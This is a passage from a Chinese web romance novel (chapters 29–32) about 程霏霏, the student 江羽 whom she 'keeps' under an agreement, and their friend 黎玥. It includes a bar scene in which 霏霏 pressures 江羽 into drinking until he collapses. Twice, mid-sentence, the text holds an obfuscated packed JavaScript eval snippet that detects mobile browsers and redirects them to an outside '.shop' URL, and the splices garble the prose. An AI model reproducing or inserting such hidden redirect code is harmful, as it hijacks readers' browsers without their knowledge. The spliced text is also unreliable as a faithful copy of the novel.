程霏霏使劲捶打着床垫,觉得这辈子都没有这么丢脸过。 白天那些压抑在心底的别扭和委屈,如同见了风的火星,瞬间就燃成了一团旺盛的邪火。 她掏出手机,找到江羽那张碍眼的头像,毫不犹豫地拖进了黑名单。 “这么喜欢抱女人,那你就去抱个够啊!以后,你爱抱谁就抱谁,别来烦我!” 程霏霏将手机一扔,脱力地倒在床上。 重新将自己蒙住,程霏霏抱着膝盖,蜷缩起身体,声如蚊蚋地哼哼:“混蛋,你都还没有抱过我……” * 整个晚上,程霏霏都在做乱七八糟的梦,一会儿是江羽站在音乐教室里鄙夷地看着自己,一会儿是他在医院的走廊上揽着小禾的肩膀,神情得意。 程霏霏看到梦里的自己拿着那张破协议,苦大仇深地冲江羽理论:“我们约好了的,关系存续期间,禁止谈恋爱!” 江羽刚要开口说什么,程霏霏还没听清,就被手机的震动声吵醒了。 厚实的遮光窗帘屏蔽了外界一切光源,只中间一丝缝隙透出明晃晃的亮。程霏霏不知道现在是几点,自己又睡了多久。 她烦闷地着接起电话,对方是圈子里关系不错的发小。 “霏霏,你们放假了没?出来玩吗?” 程霏霏闭着眼睛,哼唧了两声,表示拒绝。 对方锲而不舍:“彭响回国了,咱们这帮人一整个学期都没聚了,就约在江边的老地方,你快来!” 程霏霏揉了揉眼眶,想要继续推拒,却架不住对方一个劲地倒豆子:“我听说,那边新招了个跑场歌手,长得贼帅。不过很久没出现了,老板说今晚是帅哥的班,保证能见到人。怎么样,一起去品鉴一下?” 程霏霏一听,呵欠都收回去了,满嘴拒绝的话也咽了下去,果断点了头。 她精神抖擞地掀开被子,坐起身,后腰的位置又酸又疼。 她慢腾腾地挪下床,对着镜子撩起睡衣下摆,发现那里居然青了一大片。 黎玥这丫头,手劲还真不小! 程霏霏龇牙咧嘴地扶着腰,拿着美容仪在脸上疯狂碾压,企图抚平因为胡思乱想了一整夜而肿胀的脸。 心里忿忿地想,她当初能包养一个,如今就能再包第二个! 她要身体力行地证明,世上的帅哥那么多,那个叫江羽的也没有什么特别。 30. 30 放假以后的校园,比平时醒得还要早。 黎明时分,宿舍楼里就热闹了起来,不断有返家的学子们提着行李,归心似箭地赶赴机场和车站。 一片黑暗中,黎玥独自站在窗前,轻轻屏住了呼吸。床上,任可心细声细气地打着鼾,听着像漏了风的气球。 阳台上挂着奶白色的纱帘,朝阳尚未升起,黎玥的身形隐没在一片阴暗中,影影绰绰。 楼下,冬青的枝叶在晨风中打着哆嗦,而旁边站立的身影却纹丝未动。黎玥记不清,他已经在那里站了多久。 直到晨露终于反射出初升的朝阳,江羽才抬起胳膊,看了眼手机上的时间。 他仰起脸,若有所思地望向那盏熟悉的窗户,却始终不曾看到期盼已久的身影。 过了好半晌,他才迈着迟缓的脚步离开,背影看上去有些许萧瑟。 黎玥的脊背渐渐松缓,反身靠在窗台上。一低头,发现细薄的纱帘已经给她攥出了几道轻褶。 悄悄抚平那片褶痕,黎玥知道,自己的心也起了褶。 无法还原,更无法当作什么都没有发生过。 昨晚,她喝了很多酒,酒精令她鲁莽,也令她畅快。黎玥有点想念那种酣畅淋漓的感觉,好像自己短暂地拥有了无限能量,抛却了一切世俗的羁绊。 她把那种感觉归结为“勇气”二字。 黎玥走到床边,将还在熟睡的任可心唤醒,直截了当地问:“霏霏和江羽的事,你知道多少?” * 黎玥深吸一口气,推开了鹿客的门。 放假第一天,客人不算多,但环境依然温暖和煦。灵动的轻音乐与三两人声交融在一起,惬意又温馨,和枯叶翻飞的外面截然不同。 常泰在他的老位置上算账,看到黎玥,只是如常打了个招呼。 黎玥垂着目光,一路沉默地进了员工更衣室;再出来的时候,已经换好服务生的制服。 目之所及,江羽正在用餐区忙碌着。 她直直地走过去,就这么停在了江羽身后,一瞬不眨地盯着他。 江羽正背着手,侧身为一桌客人介绍菜单,对身后的人毫无所觉。 上个月,鹿客为了提升逼格,聘请了新的西餐厨师。新来的厨子大刀阔斧改革了西餐类的菜品,引进了一批洋气的新菜,菜名还是英文。 这批新菜被服务生们怒骂了半个月,骂完之后,还是不得不入乡随俗,私下里苦兮兮地背菜名,省得在点餐的时候闹笑话。 江羽介绍的正是这款新菜单。 让黎玥惊讶的是,他读其中一道菜名的时候,发音不是英文,而是法语。 黎玥不知道,那道菜竟然是要用法语读的。她愣愣地注视着江羽的背影,眼神若有所思。 她一直以为,江羽和她是同一类人——打小出身贫寒,只能刻苦用功,靠自己的努力改变命运。 这是一条容不得出错的路。他们这种孩子,没有太多试错的机会,命运的每一个岔路口,都像是一道严峻的考验,要仔细权衡利弊,谨慎选择,并全力以赴。 而现在,黎玥有点不确定了。也许一开始,她的判断就是错的。江羽和她,从来就不是一个世界的人。 江羽帮客人点完餐,一转身,差点撞上黎玥通红的鼻尖。 她强迫自己直视那双琉璃般清透的眼睛:“我有些话想和你说,可以换个地方吗?” * 仓库的一隅黯淡而幽静,两个人面对面站着,谁都没有先开口。 黎玥想,她和江羽认识以来,统共也没说过几句话,更鲜少有这样单独相处的时刻。仅有的几次沟通,都是关于工作。 她对他,究竟又了解多少呢? 褪去了工作时的耐心,江羽又恢复了平时清清淡淡的模样。看过来的时候,茶色的瞳仁里蕴着一抹疏离的疑惑。 黎玥盯着这张令很多人心驰神往的脸,将排练了千百次的问题默念了一遍,急促的心跳终于缓缓回落。 她不疾不徐地开口:“你那天,为什么要和我换班?” 江羽的目光微微一凝,没想到她会问这个。 “那天,我跟常哥请假,说有事要回家一趟,拜托他帮我布置一个朋友的生日包场。那时候,你明明有别的兼职要忙,竟然会拦下我,主动提出要帮我顶班。” 时至今日,黎玥依然能想起那时候美滋滋的心情,对比得眼下的境况亦愈加嘲讽。 她的目光有些飘忽:“我自认,和你的交情还没到互相顶班的份上……虽然我,我对你……” 江羽打断她:“你到底想问什么?” 黎玥在袖子下攥紧了拳头,终于将心底的疑惑摊开来:“你是不是,故意想要认识她的?” “她”指的是谁,两个人心里都清楚。 江羽定定地瞧了她一眼,倒是有点欣赏这位同事的敏锐。也没什么好遮掩的,大方承认道:“是这样没错,抱歉。” 黎玥叹了口气,果然如此。 她一直对拥有江羽的微信而沾沾自喜,总是隔三差五去参观他空空如也的朋友圈。可是她忘了,朋友圈的权限是相互的,江羽也能看到她的朋友圈。 她最近的一条朋友圈,是给程霏霏的生日包场搜集的策划灵感。 江羽早就知道,那个时间程霏霏会来到鹿客。他想要结识她,易如反掌。 黎玥的声音有点抖:“为什么……是为了钱吗?” 江羽只是侧着目光,没有回答。 他今天的心情似乎格外不佳,姿态随意地倚着墙,面容冷淡。听到这么直接的质问,整个人依旧自若如常,眼神动都没动,连句敷衍也没有。 他没有否认,黎玥想。 一阵痛惜的窒闷涌上喉头,黎玥不可置信地追问:“鹿客从来不缺有钱的客人,你也从没有……而且……而且……” 黎玥狠了狠心,还是将真心话说了出来:“程霏霏早就有喜欢的人了,这事全校都知道!她只是在拿你解闷而已,即便如此,你也甘愿?” 这句话成功戳到了江羽不为人知的软肋。 他似乎终于露出了一丝情绪,唇线微抿,浅淡沉静的眼神渐起冷芒。 “这是我的选择,与你无关。”江羽直起身,抬腿就往外走。 黎玥立刻追上去,张开双臂拦在他身前。 “我知道的,缺钱是什么滋味,我很清楚!”她的声音听上去难过极了,苦口婆心地劝阻他,“你是拓知的学生,毕业以后肯定会前程似锦的,为什么要为了眼前这点蝇头小利,毁掉自己的名声呢?” “蝇头小利……”江羽咂摸着这个词,玩味地笑了笑,“比蜗角虚名可实在多了。” 他抬起眼眸,方才片刻的冷意已经和缓,勉强露出一个笑:“谢谢你好言相劝。抱歉,之前没有向你坦言,就当我欠了你一个人情。” 黎玥却依旧挡在他身前,眼神执拗得仿佛在捍卫领地的幼兽。 偌大空间里,只有她自己的心跳声,狂乱地敲击着耳膜。 “黎玥。” 江羽敛起笑容,望着她的眼睛,第一次叫出了她的名字。 “我不适合你。” 他单刀直入地回应。 黎玥的瞳孔狠狠一震,心里地裂天塌一般——原来,那些自以为藏得很好的小心思,在喜欢的人面前,通通无所遁形。 她浑身僵硬,愣怔地侧过身,让开了过道的位置。 江羽略一颔首,露出一个隐含歉意的眼神,脚步未停地走过。 他很少这样直接戳破女孩子的心事,只是今天,糟糕的心情令他懒得再顾全什么体面。 擦肩而过之时,黎玥忽然出声:“既然欠我一个人情,那你答应我一件事。” 江羽停下脚步,并没有转身。 “程霏霏是我的好朋友。”黎玥的声音有些哽咽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129241|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低垂的眸子里蓄满了泪水,“她这个人,看似张扬,其实很单纯。不管你是为了钱,还是什么其他原因接近她……你不要伤害她。” 一颗豆大的泪珠顺着黎玥的脸颊滚下,被她抬手抹去。 “否则,我一定不会放过你。” 江羽不禁苦笑。 他无奈地回过头,却对上了一双噙着热泪的、异常执拗的眼睛。 江羽一愣,在心底叹了口气。 他从口袋里掏出一张纸巾递了过去,颇为认真地说:“好,我答应了。” * 黎玥没能值完下午的班,以肚子疼为由向常泰请了假。 推开鹿客的大门,寒风呼啸着吹来,将她沾满泪水的脸颊冻得通红。 脑袋晕乎乎的,内心前所未有的沮丧。 她不想回寝室,跑到路口,招手拦下一辆出租车。半小时后,黎玥在热闹的江边步行街下车,抬头看了一眼金碧辉煌的KTV招牌。 今天是周末,KTV热闹非凡,大厅灯火辉煌。 黎玥走到前台,开了一间包厢。 她的钱只够点最小的房间,不过没关系,一个人足够。 黎玥跌倒在沙发里,点了几首歌,抱着麦克风开始嘶吼。 一边唱,一边呜呜咽咽地流眼泪,到后来,已经泣不成声。房间里歌声环绕,屏幕上播放着欢快的影像,黎玥却抱着话筒放声大哭。 长这么大,她还从没有对谁放过狠话。班里讨厌的同学,对她酸言酸语的亲戚,时不时摔东西的嫂子,都没能得到过她只言片语的呛声。 第一次说这样难听的话,竟然是对着自己喜欢的人。 原来是这样,原来伤心是这种感觉。 手机忽然开始嗡嗡震动,黎玥将音响静音,抹了抹眼泪,强作镇定地接起:“喂,霏霏。” “黎玥,你好点了没有?” 程霏霏那边的声音有些嘈杂,像是在什么热闹的地方。 “昨天竟然喝成那副鬼样子,你是不是遇到什么不开心的事了?” “没有。”黎玥眨了眨眼睛,将汹涌的泪意压下,“最后一场考试没考好,有点不安。” 程霏霏冷哼一声,明显不相信:“黎玥,说实话!” 黎玥顿了顿,叹了口气:“我就是……最近压力有点大,没有什么具体的原因。” 程霏霏若有所思,便也没再多问,只是短促地笑了一下:“那你等着!” 说着,人就挂了电话。 黎玥陷进KTV的沙发里,像是松了一口气。 过了一会,包厢外忽然有人敲门。黎玥擦干眼泪,起身开门。 门外,KTV的服务人员竟然推着一车精美的水果和甜点,笑呵呵地同她打招呼。 “您登记的电话,被我们的系统识别为【程小姐的顶级VIP】,我们自然要好好招待。这些东西送给您,祝您唱得开心!” 说着,就把整车的东西推了进来。 黎玥目瞪口呆地看着眼前一车精美的吃食,还没来得及多问几句,服务人员已经动作麻利地离开了。 留下她一个人,被满屋子缤纷的灯光和四溢的甜香熏得直愣神。 这才想起,今天一整天都还没有吃过东西。 黎玥呆呆地弯下腰,在满车美食中端起正中的那块红丝绒蛋糕。 蛋糕的形状很蓬松,表面覆着一层细腻的奶油霜,顶上还插着一枚可爱的小卡。 黎玥舀了一勺蛋糕送进嘴里,口感又细又滑,甜而不腻。 她边吃边拿起那枚小卡打量。 素白的背板上,印着一段赤金小字,是普希金的诗—— 愿你的未来纯净明朗, 像你此刻可爱的目光。 在世间的美好命运中, 愿你的命运美好欢畅。 …… 黎玥含着满嘴蛋糕,忽然泣不成声。 31. 31 繁华的酒吧街如同一条璀璨的腰带,镶嵌在城市的中心线上,替穿城而过的江水勾勒出纷华靡丽的夜妆。 鼓点声在空气里震颤,长长的条机上摆满了五光十色的液体。不远的舞池里,男男女女紧密相贴,尽情挥洒着荷尔蒙的热情。 程霏霏陷在卡座里,面无表情地看着这满目喧嚣。 有日子没来,她竟然觉得这地方过于聒噪了,远不如江大静谧的校园和恬美的人工湖…… 她赶紧晃了晃脑袋,驱逐掉这可怕的想法。自己大概是魔怔了,竟然被考试虐出了“学生脑”——要知道,她过去可是这条酒吧街的常客。 程霏霏端起一杯鸡尾酒,慢慢啜饮着,不时和身旁的三两姐妹聊着天。 在场大多是朋友拉朋友,几圈游戏玩下来,俱都熟识得七七八八。 男男女女皆打扮得奔放鲜活,唯独程霏霏,虽然穿了露脐小皮裙出来,看着依然像是一群玩咖中唯一纯白的茉莉花。 没办法,她这个长相,打扮得再妖冶,也难掩清纯。 纯美如斯,自然吸引了在场男士们的目光。 有个第一次见面的男生蠢蠢欲动,揣着二维码上前来要微信。刚把手机亮出来,肩膀就被人重重一按。 男生回头,只见一个身材高大的寸头男站在他身后。寸头男一把夺过手机,直接给他摁了关机,扔回人怀里。 “管好你的码。” 寸头男扬了扬下巴,眉眼尽显威吓之色,吓得对方立即缩着脖子回到原位。 有人招呼道:“哎呦,彭少,姗姗来迟啊!” 彭响露齿一笑,回身从服务生的盘子里劫下一瓶黑啤,敬了在场诸位,仰头一口干了个精光,算是对迟到这事有个交代。 现场立即爆发出热闹的起哄声。 程霏霏边嗑瓜子边想,这人真是越来越会摆谱了。 身旁的沙发一陷,冒着酒气的彭响在她身侧坐了下来。 程霏霏斜了他一眼:“怎么把头剃了?” “家里老头子搞的。” 彭响撸了撸满头的精神板寸,不屑地说:“嫌我整天在外边瞎玩,不好好学习,直接上手给我剃了。不是,都什么年代了,还想让我削发明志呢?” 程霏霏一笑:“这学期几个F?” 彭响默了默,伸出一只手。 “挺好。”程霏霏到底是见过大世面的,见怪不怪,“有进步,起码一只手数得过来。” 彭响无所谓地“嘁”了一声,抱臂向后一靠,露出几分吊儿郎当的神色:“反正继承家产的时候,也不按绩点来。” 程霏霏“噗”地吐出一口瓜子皮:“真替彭叔叔惋惜,生了你这么个废物儿子。幸亏你家还有你姐,要不然,祖上基业都要砸手里。” “我哪儿废物了?”彭响不服气地直起身,凑上前来,“我玉树临风,器宇不凡!追我的女孩子多了去了,但我心中只念着霏霏你,所以为你守身如玉到现在,主打一个坐怀不乱。” 程霏霏伸出一根手指,抵住他的前额,将人推远:“不敢消受彭少爷的身心,求你了,快莺歌燕舞去吧。” 彭响却顺势握住她的食指,正色道:“我听说了,你看上的那个李泽昱和别人跑了。霏霏,要不要我找人揍他一顿,替你出气?” “你有病吧?”程霏霏睨他一眼,一把抽回自己的指头,“想出气我自己不会啊,轮得到你替我出头?” “有人替你出头还不乐意……”彭响委屈地撇了撇嘴,“我早就说过,那种成绩好的小白脸根本靠不住,净是些孬种,和你不是一路人。论志同道合,还得是咱俩!” 这话怎么听着像是在骂人? 程霏霏冲他翻了个硕大的白眼,生怕光线太暗他没看清。 彭响嘿嘿一笑,蹬鼻子上脸:“怎么样,这下终于可以考虑我了吧?” 程霏霏像挑拣大白菜一样,上上下下扫了他几眼,嫌弃得十分明显:“你这种类型的……算了吧。” 彭响给她瞅得气急,不甘心地问:“不是,我这种类型的怎么了?不喜欢我这种,那你喜欢哪种?” 程霏霏嗑瓜子的动作一顿。 “喜欢哪种不好说,你倒不如问问,我讨厌哪种。” “那也行,你说。” 程霏霏的眼睛里忽然闪过一抹气恼。 “就是那种……有时候很听话,有时候又听不懂人话!有时候聪明得过头,有时候又笨得人心烦,连被拉黑了都发现不了!” “还有这么扭曲的类型?”彭响眉毛拧在一起,一脸莫名其妙。 这时候,酒吧里凌乱的鼓点悄然停歇,全场灯光骤暗。蓝紫色的地灯渐次亮起,在玻璃容器的杯壁上反射出迷离魅惑的光。 舞池边上有一处小型的高台,此刻,一道人影自暗处浮现,随着灯光的变换逐渐清晰起来。 舒缓的前奏声响起,表演开始了。 程霏霏没什么兴趣,耷拉着眼皮,漫不经心地磕着瓜子。 直到第一句唱声入了耳。 她猛地一怔,立刻抬头朝舞台看去。 台上,江羽身着廓形白衬衫,黑色牛仔裤,站在齐身高的麦架前。 白衬衫像幕布一般,兜住了暧昧的灯光,分解为氤氲的色调。 他眉眼低垂,英挺的鼻翼将脸部的光线切分为二,一半隐藏在幽深的光影中,程霏霏只看得清亮处的另一半——冷白如瓷的一截脖颈,并左耳下星光明灭的蓝宝石耳钉。 她知道,那耳钉一定是个装饰品,因为江羽并没有耳洞。 他双手轻握麦克,就着旋律,低吟浅唱。 身旁的小姐妹兴奋地扒拉程霏霏的袖子:“怎么样,这主唱不错吧?” 而程霏霏只是想——原来,这就是他站在舞台上的模样啊。 脑海里登时掠过很多画面,仿佛是江羽的不同切面。站在树下等人的他,柜台后面打工的他,灯下埋头做题的他…… 这些画面杂糅在一起,似乎截然不同,却又浑然一体。 程霏霏闷下一口酒,按下内心深处的想念,以及,怎么也无法否认的,被这画面勾缠起来的,暗流一般的悸动。 江羽仿佛沉浸在音乐的世界里,双眸低阖,并没有看向观众席。 身在灯红酒绿的夜场,却又好像与周遭的尘嚣没有丝毫连接。 他唱的是一首程霏霏从来没有听过的歌。 歌声里带着若即若离的爱意和彷徨,伤感、眷恋,充满遗憾与幻想…… 我想/把你拥入我怀 看太阳东升西落/星光洒满窗台 我想/带你潜入云海 看清风吹向大地/雨落江水潺潺 你是否/也会偶尔孤单 才会将我/留在身畔 我想将心意坦白/却又不敢 怕说出口/你就离开 我可以/在你身边安静地等待 直到/过去远去 直到/未来到来 时间/请你慢一点别太快 让我拥有/有你的现在 …… 不知是他唱得太过真诚,还是什么其他原因,程霏霏竟然听得有些伤感。 直到一曲终了,人群里爆发出响亮的喝彩声,她才从这撩人的旋律里清醒过来,心情复杂地端起面前的酒杯,一饮而尽。 程霏霏想,江羽好像也没犯什么不可饶恕的大错,要不然,她就宽容大度一回,把人加回来吧? 顶多对他发顿脾气,好好耳提面命一番,让他搞清楚自己的身份。他们之间还有协议在呢,有她这么个金主姐姐一天,就不能和别的女孩子纠缠不清。 想通这一点,程霏霏的心里松快不少。 她拿出手机,想要给江羽发条微信。还没来得及点进去,眼前的一幕却令她浑身一僵。 只见最靠近舞台的卡座里,一位靓丽的少妇一边鼓掌,一边拿起花瓶里的玫瑰,向台上掷去。 程霏霏清清楚楚地看到,江羽不仅当众接下了花,还冲对方无奈地一笑,顺手将玫瑰别在了麦架上。 * 酒吧后院的储藏室里,江羽将舞台服换下,重新穿回了自己的旧卫衣。 正在弯腰系鞋带,一个服务生瘪着嘴进来,敲了敲门板:“15号桌客人有请。” “说我不喝酒。”江羽头也没回,面无表情地继续收拾东西。 “我说了,说你从来不陪客人喝酒的,但是她很坚持,还非要我转告你一句话。”服务生回忆道,“她说,让你谨记什么‘第二条’……” 【第二,听姐姐的话,姐姐指东,绝不能往西。】 江羽手上的动作猝然顿住,目光灼灼地回过头:“你刚刚说,几号桌?” * 江羽几乎是飞奔着回到酒吧前厅,视线环场一扫,找到了15号桌的位置。 光影诡谲,看不真切,但江羽还是一眼就认出了程霏霏的身影。她正抱臂坐在那里,隔着遥远的距离,似笑非笑地望着他。 江羽的眼睛瞬间就亮了,一整天的低落一扫而空,抬起脚步朝她的方向走去。 在场的服务生们也没想到,这个从来不接客人邀约的小驻唱,今天竟然会亲自下场。 江羽目不斜视地穿过一排排卡座,直直走到程霏霏的身前停下,正要开口,程霏霏却忽然仰起脸,绽放出一个客气十足的笑:“你好。” 江羽一愣,这才注意到,她周围还有很多人,似乎正在参加一个聚会。 想说的话生生卡在了嗓子眼。 卡座里满是光鲜的男男女女,俱都看了过来。程霏霏身侧的小姐妹惊艳地捂住嘴,觉得今晚真是没白来。 而程霏霏支着下颌,面上泛着粉红的酒意,嘴角笑容轻佻:“小歌星,唱得可真好听,我已经是你的粉丝了哦。” 江羽瞧她的样子,似乎有些醉了,想要上前看看她,却被程霏霏瞬间冷下的眼神阻止。 她仿佛是笑着的,那笑容却捉摸不透,充满了高高在上的挑逗。眼神疏离而冷漠,似乎在提醒江羽——她并不想在这里和他“认识”。 她在与他划清界限。 江羽的神色微微一僵,一抹黯然自眼底转瞬即逝。他颔首,配合着说了声“谢谢”。 程霏霏漫不经心地一笑,扭头和旁边的姐妹说话去了,没再搭理他。 江羽独自站在那里,一动未动。 卡座里的人都在嘻嘻哈哈地玩闹着,女孩子们偶尔往这边瞟一眼,不知道这个帅气的小哥哥怎么了,竟然还不走,就这么等在一旁。 可是在坐的人,最习惯的就是让别人等。尤其在这种销金的场所,他人的卑微,是最自然不过的事。 程霏霏和朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137405|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友们说笑耳语,推杯换盏,直到闹腾够了,才重新想起来,旁边还站着江羽这么一号人。 她轻轻晃动着酒杯,看也没看他,只嬉笑着问众人:“你们说,如果我请这位小歌星喝一杯,他会不会拒绝呀?” 有人猜会,有人猜不会。 还有人说,帅哥站了这么长时间,讨的就是这杯酒呀,他巴不得有这个机会呢! 众人可劲调侃着,一片嘻嘻哈哈,丝毫没顾及站在一旁的江羽。仿佛他只是一个摆件,或者一团空气,微不足道,聊以助兴而已。 江羽抬起眼,望着程霏霏笑意不达眼底的神色,轻声解释:“我真的不会喝酒。” “不会喝,可以学呀,我教你!”程霏霏顽皮一笑,转头对服务生说:“去把你们家那个‘轰炸套餐’端来。” 在座的人皆是一愣。 旁边的小姐妹偷偷拉了拉程霏霏的手臂:“霏霏,你干嘛呀……” 程霏霏轻飘飘地推开她,嗓音柔媚又勾人:“难得帅哥愿意赏脸,陪我这个微不足道的小粉丝喝一杯,哪能随便什么酒都行?当然要喝这里最带劲儿的酒啊,是不是?” 说着,只见服务生端过来一个大号托盘。托盘上并排立着大小不一的两排杯子,盛满了五颜六色的洋酒,看上去很是花里胡哨。 托盘甫一放下,葱白的手指立即伸过来,拎起一只小巧的子弹杯。 “你第一次喝,不懂玩法,这个呢叫作‘炸弹’,是他们这儿挺有名的一款‘小游戏’。” 程霏霏五指一松,手里的子弹杯“啪”地掉进旁边高瓶深口的大号克林杯中。 两种液体瞬间发生激烈碰撞,随着“嘭——”一声响,绵密的泡沫如绽放的烟花般涌出了杯口。 “好玩吗?”程霏霏粲然一笑,端起冒着气泡的酒,轻盈地递到江羽眼前,“快尝尝看,我亲手调的哦!” 她姿态暧昧,说话时故意拖长了调子,仿佛在逗弄路边的一条小狗,充满了高高在上的优越感。 而江羽笔直地站着,没有看酒,只是静静地注视着眼前的人。 他的目光微凉而平静,程霏霏在那双琥珀色的眸子里看见了自己盛气凌人的倒影。 冬天的酒吧空调开得足,暖如盛夏。可程霏霏却觉得自己端着酒杯的手开始发抖。 江羽忽然托住了她的手。 指尖的交叠一触即分,江羽接过了那杯酒,在程霏霏倔强的目光中,仰头喝了一口。 苦辣的酒液顺喉而下,灼痛他的嗓子,让他忍不住一阵剧烈的咳。 程霏霏微微一笑:“着什么急啊,慢慢喝,这些都是你的。” 江羽抬起袖子,将唇边的水迹抹去。 在众人或同情或看戏的目光中,他重新端起那杯酒,仰起头,缓缓地喝了个干净。 “我没骗你吧,是不是很好喝?” 酒液一入胃,便是刀砍斧凿一般的刺激。江羽轻轻皱了皱眉,将空杯放回托盘。 他缓了缓,接着拿起第二枚“彩色子弹”,丢进了旁边的克林杯中。 众人还没反应过来的时候,他已经端起了第二杯酒。 这东西也不过如此,江羽想。 程霏霏依旧笑盈盈地望着她,可那弯起的嘴角不知怎么的,似乎有一丝紧绷。 江羽端起第三杯酒的时候,余光注意到她的失神,竟然探过身,调皮地同程霏霏面前的杯子轻轻一碰,发出“叮”一声响。 这个声音令她想起那杯飘着彩色棉花糖的热可可。 程霏霏的脊背忽然变得僵硬。 江羽喝到第五杯的时候,连程霏霏自己都有些恍惚,到底为什么把他叫来这里,而自己,又在做什么。 耳边响起杂乱的脚步声,程霏霏看到那个向台上扔玫瑰花的少妇,正带着值班经理匆匆赶来。 “几位客人好,我是这家酒吧的老板。实不相瞒,我这不争气的弟弟还是个学生,只是来这里挣个学费,没什么眼力价,如果冲撞到各位,我来替他赔个不是!请诸位大人不记小人过,别和他一般见识。” 程霏霏耳中“轰”的一声,后边的话通通听不清了。只是傻在原地,怔怔地想,这人竟是酒吧的老板么? 而江羽完全没有搭理周遭的一切,真的按照程霏霏说的,一杯接一杯地灌下去,已经喝到了最后。 透明的酒液顺着细长的脖颈滑入衣领,台上暗影中的那截柔白,如今已经裹上了偾张的红。 偌大托盘里,一堆空杯子横七竖八地倒着,刺激着程霏霏的视网膜。 她突然起身,手足无措地攥住江羽半湿的衣袖,脑子里一片混乱。 “别喝了……”她喃喃出声,手指紧张地绞着,眼睫因为慌乱而扑簌簌地颤动。 江羽仰头吞咽着酒液,手指却忽然捉住她的指尖,安抚一般地握在手心里,轻轻摩挲了一下。 他将最后一只空了的杯子放回托盘。 两厢碰撞,发出“咚”一声钝响——他好像已经有些掌握不好力度了。 江羽大口喘着气,面颊上一片潮红,反衬得一双眼睛更加雪亮。 他上前一步,低下头,伏在程霏霏的耳边。铺天盖地的酒气顺着他的气息汹涌而至,扑了她满头满脸。 “我都喝完了……” 她听到他短促地笑了一声,说:“霏霏,开心一点。” 32. 32 程霏霏人在卡座里坐着,心却已经不知道飘向了何处。 刚刚的剧情犹如一段无关紧要的插曲,随着酒吧老板的一番圆场而匆匆落幕——毕竟,江羽也并没有做什么惹人不快的事情。大家想,程霏霏可能只是心情不好,随便捡了个人发泄罢了。给那小子碰上了,算他倒霉。 而且,他明显也是自愿的啊,全程连声推拒也没有。 在座的没有人往心里去,只有彭响,时不时看向魂不守舍的程霏霏,眉宇间透出几分莫名——像刚才那般盛气凌人地欺负人,在程霏霏身上,可不多见。 程霏霏紧紧攥住自己的手,手心里包满了细密的汗,指尖一片冰凉。 她忽然拿起包包,对在座众人露出一个紧绷的笑:“我有点累了,先回去了,改天再聚。” 说完,几乎从座位里弹起来,箭步一般冲向酒吧的后台。 小姐妹愣愣地指着相反的方向:“可是……出口在那边啊。” 程霏霏沿着酒吧的走廊一路寻找,拽住每一个擦肩而过的服务生,焦急地询问:“有没有看到刚刚唱歌的那个男孩子?” 大家皆茫然地摇摇头。 程霏霏懊恼地松了手,心慌意乱地找出自己的手机,把江羽从黑名单里放出来。 电话打过去,却一直无人接听。 * 酒吧厕所的隔间里,江羽正抱着马桶,吐得一塌糊涂。 他满脸绯红,脖颈上的青筋因为充血而膨胀,胃里似有一只狰狞的手,把五脏六腑都拧成了麻花,再狠狠地逐个捏断。 薄弱的理智仅够支撑他体面地离开那个卡座。四肢像灌了铅一般僵硬笨拙,每走一步都感觉不到重心。 直到推开洗手间的门,江羽才一个踉跄,直接跪倒在了地砖上。 接着便是一阵昏天暗地的狂吐。 江羽觉得,身体里的一切好像都被自己吐了出来,被水流打着旋冲走。只剩一副空荡荡的躯壳,平静而麻木地蜷在这肮脏的角落里。 口袋里的手机在震动,他摸索着拿出来,却连接听的力气也没有。 手机“啪”地一声掉在地上。 头骨开裂似的疼,眼前天旋地转。 江羽闭着眼睛靠在墙上,急促地呼吸着,恍惚间,好像又再次回到了那条船上。 江水打着浪,将船体摇晃得上下起伏。风雨如晦,这颠簸便永不停歇。他被反复抛起又落下,永远都踩不到实处。 就像他的人生,不知来自何方,也不知去往何处。 他拼命地想要抓住沿途的一切,却不得不随波逐浪,漂泊无栖。 手机停歇了一会,接着又重新震动起来。 江羽睁开眼,努力伸手去够,眼前骤然一黑,人直接晕了过去。 * 程霏霏一脚踢开男厕所的门。 正在放水的大哥吓了一跳,反应慢了半拍,才手忙脚乱地去拉裤链。 程霏霏旁若无人地走进去,推开每一扇隔间查看,终于在最靠里的一间发现了倒地不起的江羽。 江羽满脸都是汗,半缩在角落里,双眼紧闭,仿佛死了一般。 程霏霏的心狠狠一拧,几乎当场落泪。 她扑上去,把江羽搂进怀里,声音哆嗦着:“你醒醒,别吓我,快醒醒啊!” 她的喊叫声过于响,摇晃的幅度也过于大,江羽被她吵得,竟然真的缓缓睁开了一丝缝隙。 他模模糊糊地说:“霏霏……” 程霏霏这才松了一口气:“呜呜呜,你吓死我了!” 江羽醉得很沉,眼神毫无焦距。他半阖着双眸,靠在她的肩膀上,口中呢喃着什么,听不清楚。 程霏霏颤抖地伸出手,摸了摸他的额头,触手一片滚烫。 * 耳边有流水的声音,鼻端充斥着河泥的腥气,江羽睁开眼,头顶上是一片无垠的天空,已经被橘红色的夕阳染透。 东方隐隐升起一轮透明的残月,鸟群啾鸣着飞回巢穴,夜幕即将降临。 天地间仿佛只剩他一个人,犹如一只迷路的候鸟,被族群遗忘在了空旷的四野,找不到归路。 江羽跪在船舱里,扶着老旧的船帮,望向宽茫的江面。 对于一个五岁的孩子来说,这个世界有太多猜不透的谜题。 